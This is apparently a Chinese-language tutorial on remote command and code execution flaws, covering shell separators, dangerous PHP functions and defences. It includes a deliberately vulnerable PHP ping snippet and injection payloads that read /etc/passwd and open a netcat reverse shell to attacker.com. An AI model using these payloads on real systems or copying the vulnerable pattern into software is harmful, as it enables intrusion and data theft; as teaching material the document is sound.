概述 (Overview)
远程命令/代码执行 (RCE) 漏洞允许攻击者在目标服务器上执行任意的操作系统命令或应用程序代码。这是最高危的漏洞类型之一,成功利用通常意味着攻击者可以完全控制服务器。
- 远程命令执行: 指的是应用程序接收用户输入,并将其(未经过滤或过滤不当)拼接到操作系统命令中执行。
- 远程代码执行: 指的是应用程序接收用户输入,并将其作为应用程序自身的代码(如 PHP、Python、Java 代码)来执行。
尽管底层机制略有不同,两者通常都被称为 RCE,且都能导致相似的严重后果。
漏洞原理 (Vulnerability Principles)
远程命令执行 (Remote Command Execution)
- 成因: 应用程序需要调用外部操作系统命令来完成特定功能(例如,网络诊断工具中的
ping或traceroute,文件处理,系统管理任务)。如果应用程序将用户可控的输入(如 IP 地址、文件名、搜索词等)直接或不安全地嵌入到将要执行的命令字符串中,攻击者就可以注入额外的命令。 - 示例场景: 许多网络设备(路由器、防火墙)的 Web 管理界面、自动化运维平台、需要与操作系统交互的 Web 应用。
- 核心问题: 未对用户输入进行严格的验证和无害化处理(如转义特殊字符、使用安全的 API)。
远程代码执行 (Remote Code Execution)
- 成因: 应用程序使用了能将字符串作为代码执行的函数(如 PHP 中的
eval()、assert(),Python 中的exec()),并且将用户可控的输入传递给了这些函数。或者,存在反序列化漏洞、模板注入、不安全的文件包含等,允许用户输入影响代码执行流。 - 示例场景: 需要动态执行代码或表达式的复杂应用、使用了不安全的反序列化处理、模板引擎配置不当的网站。
- 核心问题: 信任并执行了来自不可信来源的数据作为代码。
常见触发点 (Common Trigger Points)
- 任何接收用户输入并将其用于系统交互或动态代码生成的地方。
- Web 管理界面中的系统诊断功能(如
ping,nslookup)。 - 自动化运维平台、CI/CD 管道中的任务执行接口。
- 文件处理、图像/视频处理等调用外部库或程序的场景。
- 使用了危险函数且参数可控的脚本。
- 存在反序列化漏洞的应用。
- 模板引擎注入。
命令注入技巧 (Command Injection Techniques)
系统命令拼接符 (System Command Separators/Operators)
攻击者利用操作系统 Shell 的特性,通过注入特定的分隔符或操作符来附加恶意命令。常见符号包括:
|(管道符): 将前一个命令的标准输出作为后一个命令的标准输入。 (e.g.,command1 | command2)&(后台执行): 同时执行前后两个命令(非阻塞)。 (e.g.,commandA & commandB)&&(逻辑与): 仅当命令 A 成功执行后,才执行命令 B。 (e.g.,commandA && commandB)||(逻辑或): 仅当命令 A 执行失败后,才执行命令 B。 (e.g.,commandA || commandB);(分号): 顺序执行多个命令,无论前面的命令成功与否。 (e.g.,commandA ; commandB)\n或%0a(换行符): 在某些上下文中可以分隔命令。`(反引号): 命令替换,将反引号内命令的输出作为外部命令的一部分 (e.g.,echowhoami``)。$(...)(命令替换): 功能类似反引号,更推荐使用 (e.g.,echo $(whoami)).
示例: ping 命令注入
假设一个 Web 应用允许用户输入 IP 地址进行 ping 测试,后端 PHP 代码类似:
<?php
$ip = $_GET['ip'];
system("ping -c 3 " . $ip); // 直接拼接用户输入,存在漏洞
?>
-
正常请求: ?ip=192.168.1.1
- 执行命令: ping -c 3 192.168.1.1
-
恶意请求: ?ip=192.168.1.1 ; whoami
-
执行命令: ping -c 3 192.168.1.1 ; whoami
-
结果: 服务器先执行 ping 命令,然后执行 whoami 命令,并将结果返回,泄露运行 Web 服务的用户名。
-
-
其他恶意请求:
-
?ip=192.168.1.1 & cat /etc/passwd
-
?ip=192.168.1.1 | nc attacker.com 4444 -e /bin/bash (建立反向 Shell)
-
危险函数 (Dangerous Functions - PHP Focus)
识别代码中使用的危险函数是发现 RCE 漏洞的关键。
直接执行系统命令的函数
这些函数直接调用操作系统命令执行:
-
system(): 执行外部程序,并且显示输出。
-
passthru(): 执行外部程序,并且显示原始输出 (二进制)。
-
exec(): 执行一个外部程序,不输出结果,但可以通过参数获取最后一行输出和返回状态码。
-
shell_exec() / ` (反引号): 执行命令并通过 Shell 返回完整的输出。
-
popen(): 打开一个指向进程的管道。
-
proc_open(): 执行一个命令,并且打开用来输入/输出的文件指针。
-
pcntl_exec(): 在当前进程空间执行指定程序 (需要 pcntl 扩展)。
可执行代码字符串或导致代码执行的函数
这些函数可以执行字符串形式的 PHP 代码,或在特定条件下导致代码执行:
-
eval(): 将字符串作为 PHP 代码执行。
-
assert(): 检查一个断言,如果断言是字符串,则将其作为 PHP 代码执行 (PHP 5/7 行为不同,PHP 7 后默认不执行字符串)。
-
preg_replace(): 当使用 /e (PREG_REPLACE_EVAL) 修饰符时(PHP < 7.0),会将替换字符串作为 PHP 代码执行。 极其危险。
-
create_function(): 创建一个匿名函数(内部类似 eval),已在 PHP 7.2.0 中废弃,8.0.0 中移除。
-
call_user_func() / call_user_func_array(): 调用用户自定义函数,如果函数名可控,可能调用危险函数。
-
unserialize(): 反序列化用户提供的字符串,可能触发 PHP 对象注入 (POI),进而导致 RCE。
-
文件包含函数: include, include_once, require, require_once 如果包含的文件路径或内容可控(如 LFI/RFI),也能导致代码执行。
-
其他: 某些模板引擎函数、XML 处理函数等,若配置或使用不当,也可能被利用。
注意: base64_decode(), gzinflate(), gzuncompress(), gzdecode(), str_rot13() 等函数本身不执行代码,但常被用来 混淆/编码 恶意的代码 payload,最终传递给上述可执行代码的函数。
防御与修复建议 (Mitigation and Remediation)
-
输入验证与无害化 (Validation and Sanitization):
-
假定所有输入皆不可信: 对来自用户的任何输入(URL 参数、POST 数据、HTTP 头、Cookie 等)进行严格处理。
-
白名单验证: 优先使用白名单策略验证输入。只允许已知安全的值通过(例如,IP 地址应符合 IP 格式,数字应为数字)。
-
格式/长度/范围/内容检查: 不仅验证数据类型,还要验证其格式、长度、允许的范围和具体内容。
-
避免黑名单: 黑名单容易被绕过,不推荐作为主要防御手段。
-
参数化查询/安全 API: 如果必须执行命令,尽可能使用提供参数化接口的函数(如 PHP 的 escapeshellcmd() 和 escapeshellarg() 进行转义,但需谨慎使用,优先选择不执行命令的方式),或者使用能将命令和参数分开传递的 API。
-
-
最小化执行权限:
-
避免使用执行函数: 尽可能寻找替代方案,不直接调用系统命令或执行代码字符串。例如,使用语言内置的文件操作函数而非 system(‘rm file’)。
-
权限分离: Web 应用应以最低权限运行,限制其对系统资源的访问能力。
-
-
服务器端验证:
- 关键过滤在后端: 不可依赖客户端 JavaScript 进行安全检查,所有关键的验证和过滤必须在服务器端执行。
-
输出编码:
- 检查输出: 对从数据库或其他来源获取并在页面上显示的数据进行适当的 HTML 编码,防止 XSS。虽然主要针对 XSS,但良好的输出处理是纵深防御的一部分。
-
禁用危险函数:
- 在 php.ini 中通过 disable_functions 配置项禁用不必要的、高风险的函数(如 system, exec, eval 等)。但这不能完全防止所有 RCE(例如 proc_open 可能仍可用,或存在其他逻辑漏洞)。
-
代码审计与安全测试:
- 定期进行代码安全审计和渗透测试,主动发现并修复 RCE 漏洞。
1457

被折叠的 条评论
为什么被折叠?



